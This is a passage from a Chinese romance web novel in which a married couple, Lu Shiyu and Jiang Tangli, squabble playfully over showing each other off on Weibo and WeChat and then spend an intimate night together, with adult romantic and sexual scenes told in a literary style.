强势到让人心悸的一个吻,带着不容她抗拒,也丝毫没有力气推开的力道,欺在她唇上,撬开了她双齿,吮住了她舌尖。 在他办公室的茶水台上顺走的那两包草莓味的跳跳糖,还在她唇齿间留有余香,撞上陆时聿睡前喝的小半杯浓郁花茶留下的花香。 原本只想短暂惩戒的吻,突然就勾出了交/缠的烈势。 抵在他胸口的两只攥成拳的手,逐渐松弛了力道,一点一点攀上了他肩膀。 怀里人的主动,让陆时聿眼尾弯出笑痕,突然一抬头,江棠梨探出唇的舌落了空,不甘心地追吻过去,陆时聿又把脸往上抬了两分。 “陆时聿!” 气恼的声音还未余音落地,江棠梨就被他忽然抱起,软绵的身子骨刚一直起来,又随着陆时聿后躺的姿势而落进他怀里。 江棠梨笑着锤他胸口:“你干嘛~” 陆时聿双手交叠枕于脑后,笑意沉沉地看着她:“甜甜的。” 甜? 江棠梨愣了一下后,忙捂住嘴巴。 咦,怎么会有草莓的味道? “知道睡前吃甜的对牙齿不好吗?” 江棠梨这才突然想起来含化在嘴里霹雳吧啦响的跳跳糖。 “你怎么知道我喜欢吃跳跳糖的呀?” 只是尝出了她口中的甜,却不知道她吃的是跳跳糖,更不知她喜欢吃跳跳糖的喜好。 虽然误打误撞,但他没有否认,哪怕这对她来说只是一点点的意外和惊喜。 “你猜。” 江棠梨揪着他领口被解开的那颗透明纽扣,“一天到晚就会打听人家的喜好。” 以前陆时聿总觉得,所谓可爱,不过是还不谙世事的小孩的童言无忌。 如今却发现,可爱也能被她这二十多岁的小姑娘写出这么一番让人无法招架的生动。 突然就很想把她所有喜欢的都送到她面前来。 陆时聿抬手在她脸上蹭了蹭,“要不要下午回去?” “你忙完了吗?” “嗯,不然怎么会有时间和你躺在——” 话还没说完,就被江棠梨兴奋声打断:“那你不早说!” 身上的重量一轻,都不等陆时聿反应过来,江棠梨就从他身上跳到了床下。 着急忙慌的架势,随着办公室门一打开—— 陆时聿被她突然端正的双肩看笑,“又摇身一变成陆太了?” 江棠梨挽着他的胳膊,目不斜视,话不露齿:“别逗我笑。” 可是她笑起来那么好看。 当然,今天带她过来并非只是把她看在身边。 进了电梯,眼看他摁了一层,江棠梨皱了下眉,手伸过去,又摁亮了B1。 陆时聿看了一眼后没有说话,但随着电梯在一楼停落,他放开了江棠梨的手,改成搂她的腰。 被他带出电梯,江棠梨抬头看他,“不是去车库吗?” 刚一说完,迎面就传来一声—— “陆总,陆太太。” 江棠梨眼波一顿,循声看过去,还没看清是谁打的招呼,同样的问候声又接踵而来。 “陆总、陆太太。” “陆总、陆太太。” 这三个字的含金量让人耳膜失重,江棠梨下意识就往陆时聿身侧靠紧。 突然想起里面穿着的鱼骨抹胸,江棠梨忙伸手去摸外套的扣子,还好还好,是扣着的。 结果手刚一垂到身侧,又想起自己脸上的妆。 会不会太浓了? 有没有晕妆? 突然想起出门前没有补唇膏,江棠梨又忙抬手掩唇。 她一连串的小动作都被陆时聿尽收眼底,但他什么也没说,一直走到门口,陆时聿给她打开后座车门。 “陆太太?” 微扬的嘴角,含笑的语调 江棠梨才后知后觉他放弃去车库而走一楼的用意。 “你故意的?” 陆时聿一脸深意地回望住她:“毕竟陆太太既不愿意在微博公开自己,也不愿意在朋友圈公开我。” 第48章 江棠梨站在离他一米远的地方看着他。 一身芝兰玉树的儒雅气质,可却心眼小的如针尖如麦芒。 不就没把微博里那些腹肌照腹肌视频删掉吗,竟然让他记到了现在。 还有朋友圈,是,她是没在朋友圈晒过他,可是没有他之前,她也不爱发朋友圈啊! 当然,若是拿这些理由反驳他,不仅没有说服力,还会让他觉得自己强词夺理。 江棠梨走到敞开的车门边,隔着车门,朝他微微一笑。 “记得没错的话,陆总的微博和朋友圈也从来没有晒过我吧?” 陆时聿没有想到会被她倒打一耙。 但是她说的也是事实。 “那如果我晒了呢?” 江棠梨嘴角一僵。 “陆太太是不是要礼尚往来?” 江棠梨:“” 所以这个坑到底是他先埋的,还是自己挖的? 眼看他掏出手机,江棠梨伸手就要去抢,结果陆时聿被陆时聿轻松一躲。 “公司门口,很多人看着呢。” 江棠梨扭头看向身后。 不过几米远的大厅里,果然有很多双眼睛看过来。 看也就算了,还有扎成几堆窃窃私语的。 不知是议论她的穿着还是脸上的妆。 江棠梨在心里“哼”了声,一扭头,手机屏幕被立在了她面前。 “发了。” 江棠梨愣了一下,视线盯着界面。 是一张她歪着脑袋在吊床里睡着的照片,怀里抱着一个枕头不说,头顶还插了朵红色的花。 江棠梨完全没印象自己什么时候拍过这样的照片。 伸手又要去抢,依旧还是没有抢到。 江棠梨气得跺脚,“你从哪弄的照片?” 陆时聿却不说话,手压她肩膀,将她半推进车里。 车门一关,江棠梨就把手伸到了他面前:“手机给我。” 结果却见他不仅不给,拿着手机的手还放到腿外侧。 江棠梨二话不说,身子一横就去抢。 然而两个座椅被中间的扶手箱拉开,江棠梨半个身子越过去都没抓着他那只手。 仰头,对上陆时聿那双垂眼看过来视线,江棠梨冷哼一声:“我数到三,给我。” 竟然还跟他玩数数这一套。 “江棠梨,”他声音似笑非笑:“谁给你的胆子?” 若是以前,江棠梨还真没有这么大的胆子。 但是现在,她掐着他对自己的一见钟情开始恃无恐了。 “3——” 竟然还真开始数,陆时聿气笑一声:“陈敬。” 在听到他说谁给你的胆子的时候,陈敬就顿感不妙了,如今一听他喊自己名字,陈敬顿时危襟正坐,但他没有扭头回望,只侧耳回道:“陆总。” “挡板升上去。” 尽管他声音温沉,但不乏命令。 陈敬忙将挡板控制按钮上拨。 谁知,又一道命令声从后座传来—— “不许升!” 陈敬额头开始冒冷汗。 陆总的话要听,可是太太的话也不能置之不理。 但是晚了,挡板已经升到了顶。 被完全阻隔成独立空间的后座,江棠梨已经坐了回去。 背身抵着车门,一手捂嘴,一手指着他:“我警告你,我现在正在生气,你不许亲我!” 陆时聿失笑一声看着她:“谁说我要亲你了?” “那你干嘛升挡板?” 陆时聿眼底笑痕微敛:“非得让别人看笑话?” 江棠梨把手放了下来,“那你发我的丑照,就不怕别人看笑话了?” “丑照?” 不是丑照还能是美照不成? 江棠梨哭腔都快漫出来了:“不就没删那些腹肌吗,你至于这么报复人吗?” 既心疼她的委屈,又无奈她的控诉,陆时聿叹了口气:“江棠梨,你就是这么想我的?” 江棠梨“哼”了声:“那你干嘛挑那么丑的一张照片?” 怎么就丑了,陆时聿想不通,点开手机,他把那张照片放大给她看:“你告诉我哪里丑?” 江棠梨都不想看第二眼,“我不管,你快点换掉!” “换掉?”陆时聿皱了下眉,“怎么换?” “重新编辑啊!”江棠梨眼睛都睁圆了:“你别告诉我你不会!” 陆时聿真的不会,微博账号开了这么多年,从来都是交给公司打理,丝毫不夸张地说,今天这条微博是经他手发的第一条微博。 见他眼看屏幕,指尖却悬空不知往哪落,江棠梨都想骂他一声笨蛋。 “给我!”她伸手。 陆时聿扭头看她的同时,手机却被他下意识往旁边拿远了几分。 捕捉到他的小动作,江棠梨眉梢一挑:“怎么,你手机还有我不能看的秘密?” 陆时聿却不答她,只说:“你只要告诉我怎么重新编辑就好。” 江棠梨却笑了下:“不给是吧?” 一种不好的预感袭来,陆时聿拧眉看她。 结果却见她拿出自己的手机,点开后,懒洋洋地往后一靠:“那你自己琢磨吧。” 只是这样? 隔着距离,陆时聿只能看见她手指轻点屏幕,至于屏幕里的内容 随着眼皮接连跳了两下,他脑海里突然跳出一个可能性。 陆时聿从关注里点进江棠梨的微博主页。 果然,之前都被隐藏起来的腹肌视频被放了两条出来,不止,还有一个腹肌视频被置顶了。 陆时聿看笑了,“江棠梨。” 江棠梨也不理他,翘着腿,懒洋洋地勾着其中一只脚。 陆时聿语速不疾不徐:“你是不是没仔细看我发的那条微博?” 江棠梨这才扭头看他。 仔细看? 仔细看她那张丑照到底有多丑吗? 可是旁边的人,嘴角牵着笑,温润的眸里有着细碎的,却又意味深长的光。 江棠梨突然倒吸一口气。 这人该不会—— 指尖几下轻点后,江棠梨点进他微博。 真的被她猜中了。 在那张无法让她直视的照片上方:午后闲暇的陆太太@巧巧不吃力。 他竟然@她! 他竟然真的@她! “陆时聿!” 声嘶力竭的三个字,穿透隔音极好的挡板,听得陈敬握着方向盘的手都紧了一下。但是他就只听见了这三个字,至于大发雷霆的太太又说了什么,又或者被点名的陆总回了什么 “可以告诉我怎么重新编辑了吗?” 江棠梨眼神恨不得将他吃了,然而声音却软趴趴的:“点右上角的小箭头。” 不过陆时聿却没有自己操作,而是把一直不肯给她的手机递了过去。 江棠梨看了眼,没有接:“不是都告诉你了吗?” 陆时聿下巴轻抬:“从相册里选一张你喜欢的。” 江棠梨看了他一眼,又看了手机一眼,结果刚一伸手,陆时聿又把手机往上抬了两分:“不先把你那些宝贵的东西清理一下?” 见她又是卷眉又是噘嘴,一脸的不情愿和舍不得,陆时聿似笑非笑一声:“已经十七万的浏览量——” “我删还不行嘛!” 她是真委屈,委屈到只舍得删掉那两个公开可见的。 陆时聿是真的被气笑了:“江棠梨,我是没有腹肌给你看吗?” 有。 而且他的腹肌很漂亮。 但是 见她眼神偷瞄过来,陆时聿眉峰冷冽一弯:“家花没有野花香,是这个意思?” 知道自己理亏,所以江棠梨也想到了一个甜头送给他。 “那不然从明天开始,我就开始营业还不行吗?” “营什么业?”陆时聿皱眉。 真是个2G元老! 江棠梨起身往他怀里一坐,“看镜头。” 陆时聿看向被她高举着的手机屏幕。 表情像是谁欠他两百万似的,江棠梨手肘往他怀里一戳:“你就不能笑一下吗?” “笑?”陆时聿眉间阴翳挥之不散,低头看她:“你觉得我能笑得出来?” 不笑也行,文案更好写。 所以为了配合身后人的冷沉,江棠梨朝镜头做出各种委屈又茫然,无辜又显弱的表情来。 看着屏幕里的人,又是噘嘴,又是皱眉,甚至还咬唇、垂眼 陆时聿终于没忍住,偏开脸一笑。 上翘的嘴角就这么被定格在了镜头里,江棠梨在他怀里扭头看过来,“谁让你笑的呀!” 陆时聿看着她,依旧是皱眉,但却不是摆在镜头里的委屈,而是带着几分埋怨的质问。 表演变脸都不及她快,陆时聿无奈到都不知该拿什么表情面对她:“不是你让我笑的?” “但是你开始不是没笑吗?我都快照完了,你突然又笑了。” 她点开相册一数,不偏不倚正好八张,就差一张刚好组成九宫格。 “你再重新摆出刚刚生气的表情,我再拍一张!” 哪里需要摆,生气就是他现在最真实的面部表情。 陆时聿强忍着耐心看着她将一张张的照片精修、调色,并上传成九宫格。 耐心即将濒临之际,一行文字让他眉间积攒着的浓浓郁结瞬间消失殆尽。 「呜呜把老公惹生气了怎么办,在线求救。」 发布成功后,江棠梨在他怀里转过身,邀功似的晃了晃手机:“满意了吧?” 的确是满意的,但陆时聿只满意在了心里。 他脸上依旧是充当她拍照背景板时的面无表情,当然,也可以说冷漠到面无表情。 以至于他开口说话时的声音都像是凝了冰:“然后呢?” 江棠梨微微一愣,“什么然后?” 不是这人说她不把他晒出来的吗?现在晒出来了,还有什么然后? 陆时聿瞥了眼她拿在手里已经渐暗的手机屏幕,“你说什么然后?” 江棠梨反应了两秒:“你说微信啊?” 陆时聿:“” 见他不说话,江棠梨“嗐”了声:“多大点事,等着啊!” 倒也没有多执着于她两个社交平台都发,但见她发的却是同样一个内容。 陆时聿抬手抽掉了她的手机。 “咚”的一声响,手机掉在了厚实的羊毛脚垫上。 江棠梨也几乎同时被他按在了怀里。 他的吻气势汹汹,却也早有预谋。 推在他胸膛的手被他的手强势握住并扣于她的身后,手背上的青筋血管暴烈凸显,然而力道却舍不得施加于她,而是多半都沉在了自己的腕心里。 可是吻她的力道却是凶狠的,像惩罚,也像是发泄。 呼吸乱七八糟,江棠梨根本无力抵抗,甚至连回应的余地都没有。 不是她不去回应,而是陆时聿压根不给她。 不仅唇撵着她的唇,舌更是横扫进她的口腔。 封闭的车厢被热度和喘息填满。 车毫无征兆地停下时,陆时聿的唇也一瞬离开了她的唇。 眼睛睁开,他黑沉沉的眸底几乎看不到光,但是喘息滚出了他身体里浓重的欲色。 江棠梨被他密不透风的目光看得偷偷吞咽了两下。 明明被他吻的是唇,但脸颊和鼻尖都红着,一双瞳孔更是透着湿漉漉的光,水雾朦胧里,全是对他口舌逞凶后的埋怨。 “人家不是都晒了吗,你干嘛还不高兴” 每次接吻过后,江棠梨整个人,连带着声儿都一并软塌塌的。 陆时聿脸上还是那般的没什么表情,但是把对她的心疼都凝在了指腹,温柔过他唇舌十倍百倍地揉着她的下唇。 “但你没有哄。” 说完这句话,陆时聿才顿感自己的无药可救。 一向引以为傲的自持力在吻过她一次之后,就土崩瓦解得再也铸不起来。 如果可以,他甚至想无时无刻地牵着她的手,搂着她的腰,吻她的唇,无时无刻地想和她黏在一起。 他甚至都不敢问她会不会讨厌这样的他。 万一她沉默呢? 万一她点头呢? 万一她说是呢? 什么都不敢问,索性抱住她,让她感受他的心跳。 可是又心存一丝侥幸。 “江棠梨,你现在对我的印象是不是比第一次要好一点?” 江棠梨被他抱得只能露出一双眼睛。 胸腔共震里,她感觉到了他的不对劲,“你怎么啦?” 他哪里知道自己怎么了。 只是没想到第一次爱上一个人,会让他这么魂不守舍,这么担惊受怕。 可是他又有什么好怕的。 她江棠梨三个字是和他陆时聿三个字印在一张结婚证上的。 只要他不松手,她就别想从他的世界里消失。 这一毫无退路的事实,让他心里突然松懈了两三分。 心头一旦染上愉悦,得寸进尺的心思就止不住了。 “重新发一条朋友圈。” 江棠梨眉心一拧,双手压着他肩膀坐起来:“干嘛要重新发?” “两个社交平台发的却是一模一样的内容,陆太太,”他脸往前一倾,鼻尖抵到了她的鼻尖:“我是那么好敷衍的吗?” 他好不好敷衍,江棠梨不知道。 但是江棠梨是个懒得敷衍的。 “能把你晒出来就不错了,再跟我那么多的要求,”她哼了声:“小心我扣你的印象分。” 陆时聿:“” * 陈敬在车外等了足足十五分钟都不见两人下来。 又看一眼时间后,他觉得还是有必要去敲一下车窗,谁知刚走到车边,车门突然打开了。 “陆总。” 瞧一眼他表情,没发现异常,陈敬这才小心提醒:“已经三点半了。” 陆时聿看一眼他:“我有手表。” 陈敬:“” 和上次两人去领结婚证时一样,江祈年手里的户口本递出去却没有立刻松手。 “下周梨梨还回来吗?” 就好像陆时聿说不能,户口本就不给了似的。 但是陆时聿却没有像上次那么肯定:“下周有可能回不了。” 江祈年以为他是公事缠身,“没事,梨梨又不是小孩子,自己能回来。” 陆时聿看向身边的人:“下周末我要出差,梨梨得跟我一块去。” 让他多管着点闺女,但也没让他管得这么紧。 江祈年都忍不住心疼了,但嘴上也只能说:“你去出差,梨梨跟去干嘛,这不是打扰你吗?” 陆时聿却说不会,“她在的话,我的效率会更高一点。” 江祈年索性把希望投到女儿身上:“梨梨,你要去吗?” 江棠梨满脑子都是她的小算盘,抬头,朝江祈年笑一笑的同时,手也悄悄抬了过去:“嫁夫随夫嘛~” 江祈年嘴角弧度一僵,手也不自觉地松了,户口本就这么被江棠梨见缝插针地夺了去。 “谢谢爸!” 去机场的路上,陆时聿把出差时间说给她听:“我们周日走,周二回来。” 江棠梨低头在回微信:“没事,你去你的,不用管我。” 陆时聿想把她带在身边是真,却没想到她说的那句「嫁夫随夫」是假。 “你不去?” 因为他的尾音微扬,江棠梨这才看了他一眼,但也就只看了一眼。 “你去出差,我跟去干嘛?” 见她视线又回到手机屏幕上,陆时聿眉心微蹙:“那你留在家干嘛?” “我要学车啊,还要盯着酒吧,我一堆事好不好?” 但是她说漏了一个。 陆时聿似笑非笑地看着她,补充着:“还得趁我不在去酒吧对不对?” 忙碌之余当然也要消遣。 江棠梨心虚却嘴硬:“我在你心里是那么不分轻重的人吗?” 分,但酒吧对于她来说,是属于「重」的那一项。 陆时聿觉得有必要提醒她一下:“十点一过,家里的大门可就不给进出了。” “十点?你——” 时间被他突然提前了一个小时,差点让江棠梨露馅,好在她反应迅速及时掐断并更换了后面的话。 “你别说十点,你就是定在了九点我也无所谓。” 但是下一秒,她突然反应过来:“你竟然给我设门禁?” 不设门禁,怕是她能逍遥得一夜不归。 但是这就和他当初给出的承诺背道而驰了。 陆时聿避重就轻:“不是只针对你一个人。” “当然,”他迅速转折:“如果你能在十点之前回来也不是不可以去。” 这么想套她的话,江棠梨索性满足他。 “既然陆总这么说了,那我只能勉为其难地去喽~” 这几日睡眠时间严重不足,本来还想着在回程的飞机上补一觉,结果听她这么说,困意不减的同时,烦躁更是添了不少。 然而他眉心卷了许久,都不见身旁的人关心一句。 上了飞机,待飞机起飞平稳后。 陆时聿终于没忍住。 脱掉西装外套丢到一边,手一伸,把玩了一路手机都不舍得抬头的人拽了起来。 “陪我去睡一会儿。” “我不困,”江棠梨被他拉拽着踉跄:“喂,你松手,你弄疼我了,陆时聿——” 话还没说完,人就突然被他竖抱起来扛到了肩上。 江棠梨吓得惊叫一声,“你干嘛!” 她小半个身子垂在他身后,一手拿着手机,另只手抓着他的衬衫顺着她悬落朝地的方向往下拽。 “你放我下来,喂,我警告你——” 但是还不等她警告完,人也从陆时聿的肩膀落到了松软的床上。 刚刚因头朝下,血液下涌,这会儿又回流,江棠梨整个人既懵又躁。 双臂撑着床垫坐起来后,她恼着一双眼瞪过去:“你发什么疯?” 她因为玩手机,足足半个多小时没主动理人,陆时聿的烦躁不比她少。 衬衫纽扣一连解开两颗后,陆时聿躺上床,见她还坐着,“过来。” 江棠梨刚一扭头看向身后,腰就被陆时聿捞了过去。 “门还没关紧呢!” 陆时聿从她身后抱着她:“陪我睡一会儿。” 他滚烫的呼吸略微发重地斥在她后颈,江棠梨犯痒地缩了缩肩。 “别动。” 弄得人家痒,还叫人家别动。 “法西斯。” 不算好听的一个词,被她满含着娇嗔咕哝出来,入耳却很舒服。 陆时聿闭眼轻笑:“再说一遍。” 江棠梨听不出他的好坏话,抿了抿唇:“你困自己睡不就好了,干嘛非拉着我一起。” “喜欢抱着你睡,舒服。” 眼皮沉得他声音都比平时要厚重许多。 听得江棠梨颈子里麻麻的,耳廓里热热的。 可又忍不住嘴硬:“以前没我的时候,你还不是一个人舒舒服服地睡了好多年。” 以前真没觉得睡觉是一件舒服的事,不过是人的一种生理现象。 但是现在不一样了。 陆时聿轻笑一声,“现在有你了,都不想早起。” 这难道就是「春宵苦短日高起,从此君王不早朝」? 江棠梨屁股往后撅了撅:“你还想学人家帝王,有个三妻四妾啊?” 这小脑袋瓜子,总是能别出心裁。 陆时聿张嘴在她后颈轻咬一口后松开。 “一个祖宗就够了。” 习惯在睡觉的时候整个手掌贴着她的皮肤,如今多了一层阻隔,陆时聿拨开她肩膀上的西装领口,“抬手。” “干嘛?” “脱掉。” 江棠梨:“” 她严重怀疑这人不坏好心。 可裹着外套被他抱着,江棠梨也不舒服。 谁知,外套脱掉扔到一边后,却发现他已经睡着了。 从来机场的路上到刚刚,江棠梨一直在看微博,那条发布不过短短一个多小时的微博,点赞已经五万多,评论也破万了。 下面全是给她支的各种哄老公的招数。 不知道从哪跑来的大黄丫头们,各种奇思妙想,看得人心‘惶惶’的。 其中有一个说:睡觉前在他耳边多喊几声老公,不仅能把他的心喊软,还能把他的命门喊硬。 不知是真是假。 但是可以试一试。 “老公。” 见他没有反应,江棠梨俯身贴近他耳廓:“老公?” 见他脸上依旧没有反应,江棠梨一双眼不受控的,顺着他的腰腹往下看,还没来及定睛,横过来的手臂就捞着她的腰,把她搂到了怀里。 不似刚刚从背后被他抱着,这次是面对面地在他怀里。 江棠梨刚一仰头看他—— “晚上给你。” 第49章 三个多小时的机程,再回到家已是钩月高悬。 进了门,陆时聿臂弯往身前轻轻一收,原本被他搂在身侧的人就被转到了身前。 不等江棠梨反应,陆时聿就手捧她后脑勺,低头吻了下来。 舌尖毫不客气地抵进,预示着他今晚的直白和凶狠。 江棠梨虽然仰头迎合,但双脚却因她的步步逼近而踉跄着后退。 没有开灯,但是如银的月光从落地窗外撒进来,在客厅拢出一片灰银。 但是江棠梨除了面前那张脸,什么都看不见,却又那么放心地把自己的退路都交给他。 直到脚后跟抵到了什么,下一秒,陆时聿搂着她的腰倒进了松软的沙发里。 一路激吻进门,他浑身肌肉都是紧的,如今被她的柔弱无骨一贴,那股不受他控制的野火直接从脊心蹿起。 江棠梨被他吻得脑子里一片迷糊,思考不能,只能感觉到外套从肩膀剥离。 鱼骨抹胸遮不住她的小腹,身体是热的,然而蹿进她肚脐的风却是凉的。 江棠梨这才后知后觉他为什么在醒来后,那么执着地去洗一个澡,还拉着她一起。 视线越过他头顶,能看见窗外那一颗颗坠于夜幕之中的星星,却因她瞳孔的扩散,成了一汪细碎如流沙般铺躺的银河。 悬折的腰肢绷紧了好一会儿才软绵绵地落了回去。 “怎么这么没用?”他无奈的笑里,更多的是得逞。 江棠梨说不出话来,抬起砸到他肩膀上的两只拳头像是猫咪脚上的软垫,虚虚无力。 陆时聿将她抱起。 银白色的月光像是蒙着面纱的美人,看得见却抓不着。 但她的柔弱与细嫩却那么真实的,充盈且贴满他的掌心。 不知为什么,今天他格外不想有任何束缚。 握着她的膝盖,他让她亲眼看着 而被他温热的掌心握着,江棠梨却只觉膝盖发抖。 视线里,尽管他浅色浅淡,却不减他张牙舞爪的气势。 那是一种让人头皮发麻、膝盖发软、脚心犯空的视觉冲击。 可即便心有余悸,却还是止不住的高仰起下巴,将她脆弱的脖颈暴露在杂乱的热息当中。 但那只是她。 对于背光跪于沙发边的人来说,一切都是那么的有条不紊。 像是驰骋于沙漠的野马,即便头顶烈日,即便蹄下滚烫,也依旧矫健疾驰,只是速度震落,扬起滚滚沙尘之时,也会换来他一阵仰头长嘶。 浮着青筋的手臂轻而易举就将人抱了起来。 飞机上时,那双困倦的双眼如今透亮灼人,他一边目不转睛地看着她,一边踩着自己的影子,步步沉稳的将人抱回了楼上。 没有去卧室,就在月光能灌进的起居室。 一片灰白色的光影里,陆时聿抱着她坐进了沙发里。 两只膝盖一张一合间,江棠梨勾身咬在了他肩膀。 她完全没有收着力,双齿松开时,江棠梨用指腹摸到了高低明显的齿痕。 她抿了抿唇,“疼吗?” 陆时聿用唇把她脸拱了过来:“怕你疼。” 但是他很会安抚她的疼。 只是再怎么安抚都免不了要听她几句骂。 不知是这次的时间太久还是中途被陆时聿喂了几口水,她骂得格外起劲。 从起居室到卧室。 骂到最后,陆时聿都被她骂笑了。 “江棠梨,”他最近特别喜欢喊她的全名:“再骂我就让你跪着了。” 江棠梨脸压在枕头里,抬头都没劲,只能余光瞪身后的人:“有区别吗?” 当然有区别。 一个是跪,一个是趴。 陆时聿拨开她耳鬓汗津津的头发,将她脸扳过来,“捡个新鲜的骂。” 江棠梨“哼”出一声鼻音,唇角张开,声音还没出来就被他的吻堵住了。 温柔的吻,从她的软唇烫舌一直吻到她耳朵尖那颗很浅很浅的小痣。 都说柔能克刚。 只是有时分不清,柔的是谁,刚的又是谁。 晃晃荡荡的夜,到了最后,江棠梨像是被他捧在双掌间的雀。 簌簌发着抖。 看得人心疼。 陆时聿将她抱紧,共振的胸腔,起起伏伏,拉扯着彼此的呼吸。 以为她会倦懒地眼皮都不想抬,结果却接到她霍亮的一双眼。 “我手机呢?” 陆时聿皱了下眉:“几点了还玩手机?” 江棠梨鼻子一囊,一声“哼”音后,撑开他胸膛就要起身,结果肩膀被陆时聿往下一拉。 “躺着,我去。” 被丢在床尾凳上的浴巾被他裹在腰腹,却遮不住橘色灯光下他惊心动魄的肌肉线条。 看得江棠梨脸一红。 突然觉得被她藏在微博里的那些腹肌不过尔尔了。 但是见他低头皱眉在看身上的那条浴巾。 江棠梨抓着身上的毯子坐起身:“怎么了?” “湿的,”陆时聿抬头看她一眼:“没事。” 中途,陆时聿带她去洗过一个澡。 因为整个沙发都被她弄湿了。 陆时聿是觉得无所谓,但是江棠梨觉得丢脸,甚至在洗完澡,还逼着陆时聿必须把沙发下的那摊睡姿擦干净才能上床。 所以那条浴巾是 江棠梨“啊!”的一声,“你快去换掉!换掉!” 陆时聿轻笑一声:“怎么还嫌弃上自己了?” 江棠梨脸红得快要烧着:“你再说!” 他不说了,去换了条浴巾后才去楼下给她拿手机。 不止手机在楼下,进门时,两人穿在身上的衣物,丢了小半个沙发。 一件一件地拎起搭在手臂上,视线偏转,发现还漏了一块三角小蕾丝。 轻勾到手里后,指尖捻到了一点湿滑。 突然就想起在楼上时,因他没有怜香惜玉而从她身体里涌出的那一股热流。 陆时聿低笑一声。 只是没想到,下楼前脸红透了的人,这会儿却悠闲地坐在床边喝起了酸奶。 橘色的光一半投在她身前,一半落在她身后。 将她身上的那条白色睡裙拢出了一层别样的莹润。 看见他,江棠梨勾在床边晃悠悠的两只脚停了动作,被她咬成扁状的吸管也脱离了她的齿间。 又随着她伸手的动作,垂落的床单也被她两只脚后跟踢出了一圈涟漪。 不知道的还以为她是看见他才会这么激动。 可是呢,不过是迫不及待想要他手里的手机。 陆时聿站在门口:“自己过来。” 最喜欢赤脚在家里跑来跑去的人,却说:“人家都没有鞋~” 她声音满是撒娇的软糯,听得人耳朵软,心也软,脚也不听使唤地走过去。 还没走到她面前,刚刚还只伸出一只手的人,这会儿两只胳膊都伸了出来。 陆时聿停住脚不走了:“要手机还是要抱?” 当然是要手机了,要抱干嘛? 可是视线从他的手抬到他的脸。 吃人的醋也就算了,连手机都不放过。 江棠梨眉眼一弯:“要抱。” 明知她是违心,偏偏自欺欺人。 陆时聿把手机往床尾一扔,将她抱站在了床上。 仰头看着比自己高出半个头的人,陆时聿眼里露出好奇:“手机里到底有谁让你这么牵肠挂肚的?” 带着逗他的心思,江棠梨眉梢一挑,眼睛一睁:“那可太多了,都数不过来。” “是吗?”陆时聿眯着眼角看了她两秒后,腰一弯,又把手机拿到了手里。 江棠梨视线追着他的动作,“你干嘛——” “既然都数不过来,那干脆别数也别看了。” “喂——”江棠梨一手搂着他肩膀,另只手就要去抢。 眼看他把手背到身后,江棠梨抬腿一勾,搂着他脖子就挂到了他身上。 唯恐她掉下去,陆时聿忙搂住她腰,结果肩膀一疼。 “江棠梨!” 江棠梨咬着他不松口,吐字含糊不清却不减她声音里的恼意:“给不给?” “耍无赖是吧?” 结果话音一落,肩膀上的疼又重了几分。 陆时聿气笑一声:“你今晚咬我多少口了?” 四五口? 江棠梨也记不清了。 两三分的自责和心疼里,江棠梨不情不愿地松了口。 视线越过他肩膀,看见被他捏在指尖的手机。 挂他身上,他拿得低。 站地上,他举得高。 反正只要他不给,她就够不着。 “老公~”硬的不行,她就来软的:“你给我呗,求你了~” 她不止软着调,还在被他圈紧的臂弯里扭着腰。 别的事也就算了,但现在一个手机都比他重要。 既然她这么执着,陆时聿也当仁不让:“你到底要手机干嘛?” 难道要说她想看下午发的那条微博多少点赞多少评论,她又涨了多少粉丝吗? 那好丢脸。 所以她想了一个绝佳的借口:“不是答应过你要每天都营业的吗?这都一点了。” 陆时聿几分探究的眼神打量着她,不知是她演技提升了,还是自己冤枉她了,倒是没发现什么异常。 “那发完睡觉?” 江棠梨下巴直点:“嗯嗯。” 陆时聿这才把手机给她,把人放到床上后,他说:“五分钟够吗?” “够的!” 但是江棠梨也提了个小小的要求:“老公,你能帮我把内衣洗了吗?” 陆时聿:“” 猜到他长这么大应该没洗过衣服,江棠梨扁了扁嘴:“内衣那么私密的东西,我不想让别人洗。” 虽然她的这个要求很出乎陆时聿的意料,但也同时把他的疑心给拽了出来。 他不露声色地问:“所以以前都是谁你给你洗?” 当然是用专门的洗衣机来洗了。 他这里肯定也有。 所以江棠梨说:“都是我自己手洗的。” 说的惨兮兮。 好像他就会信。 陆时聿拉起她洗白嫩肉的一只手:“没想到你还会洗衣服。” 江棠梨在心里越品越觉得不是好话,“难道你不会吗?” 陆时聿抬头看她。 “你要是不会就算了,明天我自己洗也可以的,毕竟也洗了这么多年了。” 说完,她轻叹一口气:“本来还想着,你给我洗,我也给你洗的。” 陆时聿觉得,她这句台词若是换成:「没想到嫁给你,还是要自己洗衣服」会更让他无法拒绝。 一天天的,就会跟他玩这些一戳就破的小心思。 可若是说她笨吧,又实在狡猾。 陆时聿目光深深地看了她一眼。 “洗个内衣而已,”他笑了笑:“我去。” 江棠梨也回了他一个甜甜的笑:“谢谢老公。” 在依稀传来的水声里,江棠梨点进微博。 也就四个小时没看手机,消息提醒的数字已经累计到了九千多,粉丝数—— 江棠梨倒吸一口气,竟然增加到了47万。 照这个速度增长,明天这个时候岂不是能过百万? 怎么都没想到,自己有一天竟然也会成为百万博主! 掩嘴偷笑之际,江棠梨又点进陆时聿的主页,看见那条被她无比嫌弃的丑照竟然有四十多万的点赞时,江棠梨整个人呆了几秒,再一看评论,七万多。 这么多的评论,该不会都在骂她丑吧? 手指蜷蜷紧紧了好一会儿,江棠梨才心一横地点进去。 「陆总竟然亲自现身主动营业了!」 「老公角度?哦莫磕到了!」 「该不会是陆太太自己摆拍的吧?」 江棠梨看笑了,她要是自己摆拍,至于发一张这么丑的? 「刚去隔壁看了,陆太太不是说老公在生气?」 「不过是成年人秀恩爱的把戏罢了。」 江棠梨看得直撇嘴,她都恨不得在下面回:你们以为的秀恩爱,不过是你们陆总吃醋的方式罢了。 可是再往下翻—— 「陆总,你老婆头上的那朵花该不会是你插上去的吧?」 「原来陆总这么会玩。」 江棠梨愣了一下。 她怎么没想到这个可能性,可如果是他拍的,那他拍的就不会只有这一张! 江棠梨忙起身去找陆时聿的手机,结果找了一圈都没找到,难道在他外套又或者裤子口袋里? 江棠梨往衣帽间房间看了眼,这要是过去就要经过卫生间。 眸光转了一圈后,江棠梨蹑手蹑脚走到卫生间门口,门是敞开的,水流声里,她看见陆时聿背身站在水池边。 全身上下只裹着一条浴巾,肩膀宽阔,腰身却精瘦,重点是裸露的后背还有几条她留下的抓痕。 不知是在楼下抓的,还是起居室,反正不是在卧室。 因为去了卧室后,他就一直让她趴着,也就最后才被她扳过来。 思绪游走间,水声突然一停。 江棠梨下意识就把脑袋往回一缩,心脏正怦怦跳,心里默念着「不要出来不要出来」的人走了出来。 